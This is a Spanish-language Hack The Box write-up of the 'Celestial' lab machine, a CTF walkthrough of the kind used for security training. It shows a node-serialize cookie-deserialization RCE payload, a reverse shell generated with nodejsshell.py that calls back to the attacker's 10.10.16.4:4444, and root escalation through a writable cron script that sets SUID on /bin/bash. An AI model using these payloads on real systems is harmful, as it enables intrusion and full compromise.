the_open_door
café
ESEN

Celestial

HackTheBoxMediaLinux10.10.10.85

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#nodejs#node-serialize#insecure-deserialization#cookie-tampering#base64#reverse-shell#cron-abuse#suid#privilege-escalation
TL;DR. Celestial es una caja Linux con una sola puerta: un Node.js + Express en el puerto 3000. La aplicación guarda el estado del usuario en una cookie en base64 que el servidor deserializa con node-serialize. Manipular esa cookie con un objeto que invoque una función (deserialización insegura en Node.js) da ejecución de comandos y una reverse shell como sun. Para root, un cron ejecuta como administrador un script.py dentro del home de sun que podemos editar (script de cron escribible): le añadimos chmod u+s /bin/bash (abuso de SUID) y abrimos una shell de root.

Reconocimiento

Escaneo inicial

ping -c 1 10.10.10.85

ping a 10.10.10.85 con ttl=63

PING 10.10.10.85 (10.10.10.85) 56(84) bytes of data.
64 bytes from 10.10.10.85: icmp_seq=1 ttl=63 time=103 ms

--- 10.10.10.85 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 103.127/103.127/103.127/0.000 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Empezamos por UDP, filtrando el ruido de los puertos que no contestan:

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 1000 10.10.10.85 | grep -v 'no-response'

escaneo UDP de los 1000 puertos más comunes: la tabla queda vacía

Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-17 22:47 UTC
Initiating UDP Scan at 22:47
Scanning 10.10.10.85 [1000 ports]
Completed UDP Scan at 22:47, 1.17s elapsed (1000 total ports)
Nmap scan report for 10.10.10.85
Host is up, received user-set (0.15s latency).
Scanned at 2025-12-17 22:47:17 UTC for 1s
Not shown: 6 closed udp ports (port-unreach)
PORT     STATE SERVICE      REASON

Nmap done: 1 IP address (1 host up) scanned in 1.25 seconds
           Raw packets sent: 2084 (98.492KB) | Rcvd: 6 (376B)

La tabla se queda con la cabecera y nada debajo. Conviene leer el detalle: de 1000 puertos solo 6 quedaron clasificados (closed, porque devolvieron un ICMP port-unreachable); los otros 994 se quedaron en open|filtered y son justo los que el grep -v 'no-response' ha quitado de en medio. Es decir, no es que UDP esté cerrado: es que nadie ha contestado, que en UDP es lo normal. Con esa salvedad, seguimos por TCP, esta vez a los 65535 puertos:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.85 -oG scan

el escaneo SYN completo descubre un unico puerto abierto, el 3000/tcp con syn-ack ttl 63

Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-17 22:48 UTC
Initiating SYN Stealth Scan at 22:48
Scanning 10.10.10.85 [65535 ports]
Discovered open port 3000/tcp on 10.10.10.85
Completed SYN Stealth Scan at 22:48, 15.21s elapsed (65535 total ports)
Nmap scan report for 10.10.10.85
Host is up, received user-set (0.14s latency).
Scanned at 2025-12-17 22:48:12 UTC for 15s
Not shown: 65534 closed tcp ports (reset)
PORT     STATE SERVICE REASON
3000/tcp open  ppp     syn-ack ttl 63

Solo hay un puerto abierto, el 3000. La columna REASON aporta dos cosas: los otros 65534 salen como closed (reset), o sea que la máquina responde con RST en vez de tragarse los paquetes, así que no hay un cortafuegos filtrando por delante; y el syn-ack ttl 63 confirma por segunda vía el TTL que vimos con el ping. El ppp de la columna SERVICE no significa nada: es el nombre que /etc/services asocia al 3000, no lo que hay escuchando de verdad. Para eso, detección de versión y scripts:

extractPorts resume el fichero -oG y deja el puerto en el portapapeles:

extractPorts scan

extractPorts resume el escaneo: IP 10.10.10.85 y el unico puerto abierto, el 3000

Extracting information ...
IP Address: 10.10.10.85
Open ports: 3000
nmap -p3000 -sCV 10.10.10.85

el escaneo de versiones identifica el 3000 como Node.js Express framework

Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-17 22:48 UTC
Nmap scan report for 10.10.10.85 (10.10.10.85)
Host is up (0.12s latency).

PORT     STATE SERVICE VERSION
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.48 seconds

Ahí sí: el supuesto ppp es un servicio web montado sobre Node.js con el framework Express. Que toda la superficie sea una sola aplicación concentra la atención: lo que falle, fallará ahí.

HTTP - TCP 3000: una web aparentemente estática

whatweb identifica el stack y, de paso, deja una pista clave: la aplicación fija una cookie llamada profile (que más adelante será el vector):

whatweb http://10.10.10.85:3000

whatweb sobre el 3000 revela la cookie profile marcada como HttpOnly y la cabecera X-Powered-By de Express

http://10.10.10.85:3000 [200 OK] Cookies[profile], Country[RESERVED][ZZ], HttpOnly[profile], IP[10.10.10.85], X-Powered-By[Express]

wappalyzer confirma lo mismo desde el navegador (Express sobre Node.js), y la página solo muestra un mensaje:

Wappalyzer identifica Express y Node.js sobre la página "Hey Dummy 2 + 2 is 22"

Un dirsearch no encuentra ninguna ruta ni recurso: el escaneo arranca y llega a Task Completed sin un solo acierto, así que la web es estática:

dirsearch -u http://10.10.10.85:3000/ --exclude-status=403,404

dirsearch sobre el 3000 termina en Task Completed sin ninguna ruta encontrada

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://10.10.10.85:3000/

[22:51:29] Starting:
Task Completed

No hay nada que enumerar por fuerza bruta de rutas. Cuando la superficie es tan pequeña, el siguiente paso no es buscar más páginas sino mirar qué intercambia la que ya tenemos: cabeceras, parámetros y, sobre todo, cookies.

Inspeccionando las cookies que envía la aplicación aparece una con pinta de JSON codificado. No es un JWT (un JWT tiene tres secciones separadas por puntos), así que probamos a decodificarla en base64:

cookie de la aplicación en las herramientas de desarrollo del navegador

echo -n 'eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==' | base64 -d

el echo de la cookie pasado por base64 -d devuelve el objeto JSON con username, country, city y num

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

La cookie es un objeto con campos username y num, y esos valores se reflejan en la página. El servidor decodifica la cookie y la usa al construir la respuesta. La hipótesis inmediata: si cambiamos el objeto, cambiamos lo que se muestra.

la web refleja "Hey Dummy 2 + 2 is 22" y en Burp se ve la cookie profile en base64

Explotación

TCP 3000: confirmar que el objeto se deserializa

Modificamos el objeto y lo volvemos a codificar en base64. El primer intento sale partido en dos líneas, porque base64 corta la salida cada 76 caracteres; una cookie con un salto de línea dentro no vale, así que se repite con -w 0 para que salga en una sola línea:

echo -n '{"username":"kmn9","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"333"}' | base64
echo -n '{"username":"kmn9","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"333"}' | base64 -w 0

base64 parte la salida en dos líneas; con -w 0 sale en una sola

eyJ1c2VybmFtZSI6ImttbjkiLCJjb3VudHJ5IjoiSWRrIFByb2JhYmx5IFNvbWV3aGVyZSBEdW1i
IiwiY2l0eSI6IkxhbWV0b3duIiwibnVtIjoiMzMzIn0=

eyJ1c2VybmFtZSI6ImttbjkiLCJjb3VudHJ5IjoiSWRrIFByb2JhYmx5IFNvbWV3aGVyZSBEdW1iIiwiY2l0eSI6IkxhbWV0b3duIiwibnVtIjoiMzMzIn0=

Sustituimos la cookie por la nueva (codificándola en URL para que no se rompa en el envío) y la página responde con nuestros valores:

la web refleja "Hey kmn9 333 + 333 is 333333"

Hey kmn9 333 + 333 is 333333

El servidor concatena num consigo mismo (333 + 333 como texto da 333333): confirma que el dato de la cookie se procesa del lado servidor sin validación. Aunque el contenido parece un JSON normal, el comportamiento sugiere que el objeto entero se deserializa, no que se lean campos sueltos. En Node.js eso suele apuntar a node-serialize y su unserialize(), vulnerable cuando recibe datos no confiables.

TCP 3000: construir el payload de deserialización

La documentación pública sobre deserialización en Node.js explica que unserialize() ejecuta funciones marcadas con el token _$$ND_FUNC$$_, y que añadiendo () al final (un IIFE) la función se invoca durante la propia deserialización:

investigación sobre la deserialización en node-serialize

Lo fiable es no escribir la cadena a mano sino generarla con el serialize() del propio módulo, así el formato coincide exactamente con lo que espera el unserialize() del otro lado:

nano serialize.js
node serialize.js
var y = {
  rce : function(){
    require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) });
  },
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

serialize.js y su salida con el marcador _$$ND_FUNC$$_

Serialized:
{"rce":"_$$ND_FUNC$$_function(){\n require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) });\n }"}

Ahí está el marcador _$$ND_FUNC$$_, pero así todavía no ejecuta nada: la función queda asignada a la propiedad rce, definida y nunca invocada. Para que se dispare sola durante la reconstrucción del objeto hay que convertirla en un IIFE añadiendo () detrás del cuerpo.

El primer intento fue meter el IIFE antes de serializar, y falla: la función se ejecuta durante el propio serialize() y lo que se guarda es su valor de retorno (undefined), no la definición. Por eso el () se añade después, a mano, sobre la cadena ya serializada. Lo comprobamos en local:

nano unserialize.js
node unserialize.js
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

unserialize.js ejecuta el id durante la deserialización

uid=0(root) gid=0(root) groups=0(root),138(docker)

Ese uid=0(root) es el de nuestra propia Kali (el id se ha ejecutado en local, no en la víctima): la prueba de concepto solo demuestra que unserialize() invoca la función. Ya tenemos ejecución de comandos; falta convertirla en una shell contra nosotros.

Escribir a mano una reverse shell dentro de esa cadena es pedir problemas: comillas, barras y caracteres especiales que se rompen al pasar por JSON, por base64 y por una cabecera HTTP. El artículo de referencia resuelve eso con nodejsshell.py, que genera la carga íntegra codificada como eval(String.fromCharCode(...)), es decir, solo dígitos y comas:

el artículo de opsecx explica que usa nodejsshell.py para generar el payload

wget https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/refs/heads/master/nodejsshell.py &>/dev/null
python2 nodejsshell.py 10.10.16.4 4444

nodejsshell.py genera la carga para 10.10.16.4:4444

[+] LHOST = 10.10.16.4
[+] LPORT = 4444
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,54,46,52,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,...))

Esos números son el código JavaScript de la reverse shell carácter a carácter: 118,97,114 es var, y más adelante se leen 10.10.16.4 y 4444 como códigos ASCII. El artículo también enseña dónde encaja la carga: dentro del cuerpo de la función y con el () final pegado al cierre:

el artículo muestra el objeto serializado con la carga dentro y los paréntesis del IIFE al final

{"rce":"_$$ND_FUNC$$_function (){<payload_generado>}()"}

Acceso como sun

Guardamos el objeto final en un fichero y lo codificamos en base64, que es el formato en el que el servidor espera la cookie (otra vez con -w 0, que si no se parte):

cat payload
cat payload | base64 -w 0

el fichero payload con la carga dentro del IIFE y su codificación en base64

{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,...))}()"}

eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7ZXZhbChTdHJpbmcuZnJvbUNoYXJDb2RlKDEw...

El eyJyY2Ui del principio ya delata el contenido: es {"rce" en base64. Levantamos el listener en el 4444 (el puerto que le pasamos a nodejsshell.py):

penelope

Interceptamos una petición cualquiera con Burp y sustituimos el valor de la cookie profile por nuestro objeto:

Burp con la cookie profile sustituida por el objeto malicioso y penelope escuchando en el 4444

[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.1.80 • 172.18.0.1 ...

GET / HTTP/1.1
Host: 10.10.10.85:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: profile=eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7ZXZhbChTdHJpbmcuZnJvbUNoYXJDb2RlKDEw...

Al reenviarla, el servidor decodifica la cookie, se la pasa a unserialize(), el IIFE se invoca y la conexión entra. penelope la recoge y además promociona la shell a PTY sola:

penelope recibe la reverse shell, la sube a PTY y se lee la user flag

[+] Got reverse shell from celestial~10.10.10.85-Linux-x86_64  Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python3!
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /root/.penelope/sessions/celestial~10.10.10.85-Linux-x86_64/2025_12_18-18_29_09-539.log

sun@celestial:~$ ls
Desktop  Documents  Downloads  examples.desktop  Music  node_modules  output.txt  Pictures  Public  server.js  Templates  user.txt  Videos
sun@celestial:~$ cat user.txt
0b764cb77ec585707fa860c4587a457f

Que la shell caiga directamente en un home con server.js y node_modules al lado confirma que la aplicación corre como sun, sin ningún usuario de servicio de por medio.

Escalada de privilegios

Un script.py en el home de sun

Un listado recursivo del home deja dos cosas a la vista: el node_modules de la aplicación, con el módulo node-serialize que acabamos de explotar, y un fichero fuera de lo común, Documents/script.py:

sun@celestial:~$ ls -R

ls -R en el home de sun: node-serialize dentro de node_modules y script.py en Documents

.:
Desktop  Documents  Downloads  examples.desktop  Music  node_modules  output.txt  Pictures  Public  server.js  Templates  user.txt  Videos

./Documents:
script.py  user.txt

./node_modules:
accepts        cookie            depd      escape-html   forwarded     ipaddr.js       mime      negotiator      path-to-regexp  send          type-is
array-flatten  cookie-parser     destroy   etag          fresh         media-typer     mime-db   node-serialize  proxy-addr      serve-static  unpipe

Ver node-serialize ahí es la confirmación a posteriori del vector de entrada: no hacía falta adivinar la librería, estaba instalada. Y el script.py tiene un contenido trivial, un único print:

sun@celestial:~$ cd Documents/
sun@celestial:~/Documents$ cat script.py

cat script.py: un único print "Script is running ..."

print "Script is running ... "

Un script de Python 2 con un simple mensaje en el home de un usuario casi siempre delata una tarea programada. Para confirmar quién lo ejecuta y cada cuánto, subimos pspy (repo) con un servidor web de un solo uso y observamos los procesos en tiempo real (pspy):

locate pspy | head -n 2                           # en la Kali
cp /home/krmena/Downloads/pspy64 .
python3 -m http.server 80
wget http://10.10.16.4/pspy64 && chmod +x pspy64  # en la víctima
./pspy64

a la izquierda la victima descarga los 3 MB de pspy64 con wget y le da permisos, y a la derecha el http.server registra el GET

sun@celestial:~/Documents$ wget http://10.10.16.4/pspy64
Length: 3104768 (3.0M) [application/octet-stream]
2025-12-18 13:31:36 (1.46 MB/s) - 'pspy64' saved [3104768/3104768]
sun@celestial:~/Documents$ chmod +x pspy64

10.10.10.85 - - [18/Dec/2025 18:31:33] "GET /pspy64 HTTP/1.1" 200 -

pspy muestra el cron ejecutando script.py como root

2025/12/18 13:35:01 CMD: UID=0    PID=7351   | python /home/sun/Documents/script.py
2025/12/18 13:35:01 CMD: UID=0    PID=7350   | /bin/sh -c python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py
2025/12/18 13:35:01 CMD: UID=0    PID=7349   | /usr/sbin/CRON -f
2025/12/18 13:35:01 CMD: UID=0    PID=7353   | chown sun:sun /home/sun/Documents/script.py

El proceso confirma la teoría: root (UID=0) ejecuta nuestro script.py, y el CRON -f de al lado dice quién lo lanza. Merece la pena leer la línea entera, porque el cron no solo ejecuta: después copia de vuelta su propia versión desde /root/script.py, se la devuelve a sun con chown, le quita el atributo inmutable con chattr -i y, con el touch -d, le pone la fecha de modificación de user.txt para que el fichero no parezca recién tocado.

Ese aseo no nos estorba: en cada ciclo se ejecuta primero el contenido actual del fichero y solo después se restaura, y mientras tanto el fichero pertenece a sun, así que podemos editarlo.

Cron escribible: SUID a /bin/bash

Reemplazamos el contenido por código que ponga el bit SUID a /bin/bash (script de cron escribible):

import os
import sys

os.system("chmod u+s /bin/bash")

print "Script is running ... "

script.py modificado con chmod u+s /bin/bash, dejando el print original

Dejamos el print original donde estaba: el output.txt que genera el cron sigue teniendo el mismo contenido de siempre y nada delata el cambio. Ahora toca esperar al siguiente ciclo. Cuando pasa, el bit SUID ya está puesto y /bin/bash se ejecuta con los privilegios de su propietario (root); una shell con -p (abuso de SUID) preserva ese EUID en vez de tirarlo al arrancar:

/bin/bash con la s de SUID y shell de root tras bash -p

sun@celestial:~/Documents$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1037528 Jun 24  2016 /bin/bash
sun@celestial:~/Documents$ bash -p
bash-4.3# whoami
root

La s en -rwsr-xr-x es la prueba de que el cron ejecutó nuestro código. Con la shell de root, la segunda flag:

cat /root/root.txt con la flag de root

bash-4.3# cat /root/root.txt
b7e9579ab531ef4131ec07564e25d367

Cadena de ataque

HTTP 3000 (Node.js/Express)
   └── cookie base64 con objeto JSON reflejado
        └── node-serialize unserialize() + IIFE  ── RCE
             └── reverse shell como sun  (user.txt)
                  └── cron de root ejecuta /home/sun/Documents/script.py (escribible)
                       └── script.py → chmod u+s /bin/bash
                            └── bash -p  ── root  (root.txt)

Lecciones aprendidas

  • Cuando la superficie es mínima, mira el estado, no más rutas. Un único puerto y una web "estática" escondían todo el vector en una cookie. La enumeración de rutas no aportó nada; la cookie lo aportó todo.
  • base64 no es cifrado. Un dato codificado en base64 que el servidor decodifica y usa es dato de usuario sin más; si además se deserializa, es ejecución de código.
  • node-serialize ejecuta funciones. El marcador _$$ND_FUNC$$_ más un IIFE convierten un unserialize() sobre datos no confiables en RCE. Serializar sesiones solo con JSON y firmarlas.
  • Un script ajeno en un home casi siempre es un cron. pspy confirma quién y cuándo sin necesidad de leer /etc/crontab. Si el fichero es escribible y lo ejecuta root, es escalada directa.
  • Editar el fichero, no esperar a que el cron lo restaure. Aunque la tarea reescriba el script tras ejecutarlo, el contenido se ejecuta antes de la sobrescritura.
  • Un UDP vacío no es un UDP cerrado. Solo 6 de 1000 puertos devolvieron port-unreach; los demás quedaron en open|filtered, que significa "nadie ha contestado", no "no hay nada". Conviene decirlo así en vez de dar el barrido por concluyente.
  • El node_modules es un inventario de vectores. Ver node-serialize instalado confirma después de los hechos lo que la cookie ya sugería; en una caja de la que aún no se tiene shell, esa misma lista es la que te dice qué buscar.
  • Media explotación es transporte, no vulnerabilidad. base64 sin -w 0 parte la cookie en dos líneas y String.fromCharCode existe para que ni una comilla del payload llegue a romperse por el camino. Un exploit correcto puede fallar solo por cómo viaja.
  • Un cron que se limpia detrás está señalando el sitio. El chattr -i y el touch -d con la fecha de user.txt están puestos para que el fichero no parezca tocado; leer la línea entera de pspy cuenta más de la caja que la propia ejecución.
Cheatsheet de comandos 22 comandos

Repaso rápido